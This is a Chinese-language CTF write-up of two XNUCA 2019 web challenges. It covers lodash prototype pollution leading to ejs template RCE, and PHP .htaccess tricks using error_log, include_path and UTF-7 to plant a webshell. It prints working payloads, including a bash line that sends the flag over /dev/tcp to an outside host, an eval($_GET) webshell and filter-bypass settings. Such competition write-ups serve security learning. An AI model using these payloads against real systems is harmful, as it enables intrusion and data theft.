XNUCA 2019 Qualifier的两个web题目writeup

阅读量    81451 | 评论 9   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

上个周末打了一下XNUCA,可以说这是打CTF以来难度最高的一个比赛,全场交的flag不到100个也是十分真实,膜精心准备这次比赛的NESE的大师傅们。这里贴一下我们队(Security_Union_Of_SEU)做出来的两个web题目的writeup与题目分析。

HardJS

我们的解法

拿到一个nodejs项目的源码进行审计,第一步便是运行npm audit ,可以看到依赖项的漏洞情况。

image-20190829023406409

可以看到依赖项lodash存在原型链污染漏洞,即CVE-2019-10744.

我们查看一下项目的js源码,看看哪里调用了lodash.在查看消息的请求处理中我们可以看到当消息数量大于5时将会调用lodash.defaultsDeep来合并消息

lodash

根据CVE-2019-10744的信息,我们知道我们只需要有消息为

{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性,任意不存在a属性的原型为Object的对象在访问其a属性时均会获取到b属性。那么这个污染究竟会起到什么样的效果?

查看项目源码,可以知道该项目使用ejs库作为模版引擎,众所周知ejs作为一个模版引擎肯定少不了类似eval的操作用于解析一些数据。因此我们便可以去跟一下ejs的实现看看哪里有潜在的可以收到原型链污染的调用,这里我们可以找到两处可用的地方

pollution one

pollution one

在577行可以看到很大的一片调用全是为了动态拼接一个js语句,这里我们可以注意到当opts存在属性outputFunctionName时,该属性outputFunctionName便会被直接拼接到这段js中。

往下跟一下可以看到这段js的具体调用位置

append

src

ctor

可以看到这段代码最后生成了一个动态的函数,且源码中正含有上述的append.所以我们的思路就很清晰了,只要覆盖了opts.outputFunctionName即可触发模版编译处的RCE.

最后我们的payload如下:

{"type":"mmp","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c "echo $FLAG>/dev/tcp/xxxxx/xx"')//"}}}}

只要提交这样的信息并触发合并操作,访问任意页面即可将flag发送到我们的后端。

pollution two

除了这里的outputFunctionName外我们也可以覆盖opts.escapeFunction来实现RCE,具体源码关键点对应如下

预期解

赛后看了NESE大佬的官方writeup,则利用了前端和后端两个原型链污染的点,后端原型链污染用于绕过登录验证越权登录admin,覆盖loginuserid即可

而前端的原型链污染则是由于调用了$.extend方法

extend

所有的消息都被加入了no-js,我们再看看页面是怎么渲染的

logger

Header/notice/wiki/button/message的地方都处在沙箱中,无法XSS,我们再看看页面

可以看到我们只要通过原型链污染添加logger属性,即可覆盖logger的内容从而导致XSS。为了打到flag只需要让页面跳转到一个我们设置的伪造的登录窗口即可。

这道题目预期解将前后端的原型链污染结合利用,可以说是十分精妙的一道题目。

 

ezPHP

源码很简单(感觉越简单的源码越不好搞),一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。

我们的解法

经测试,最后一行导致的.htaccess报错的问题可以通过# 来解决。

该文件中有一处include('fl3g,php'),该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess 的选项可以利用?

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALLPHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

include_path

因此只要控制include_path便可以使这里include进来的fl3g.php可以是任意目录下的某个文件,那么怎样才能控制fl3g.php的内容?查找所有php log相关的功能可以看到error_log这一选项

error_log

所以我们的思路便很清晰了:利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。

然而很不幸的是error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload。那么怎么才能绕过这里的转义?

查找最近的比赛我们可以发现一篇writeupInsomnihack 2019 I33t-hoster)

run php without <

这便给了我们启示可以通过设置编码来绕过限制从而getshell.

因此最后的攻击方法如下:

  • Step1 写入.htaccess error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# 
  • Step2 访问index.php留下error_log
  • Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
# 
  • Step4 再访问一次index.php?2=evilcode即可getshell.

其他非预期解

赛后得知我们的解法是全场唯一的正解,此外还存在两个非预期

非预期1

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

非预期2

只能说这个非预期为啥我没有想到

php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?>

 

总结

以上便是我们这次XNUCA web部分的writeup,质量非常高的一场比赛,感谢NESE的大佬们。希望国内能多一些这样质量高的CTF,少一些诸如某空间之类的垃圾比赛,也希望CTF圈选手们以后都能洁身自好杜绝py现象。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多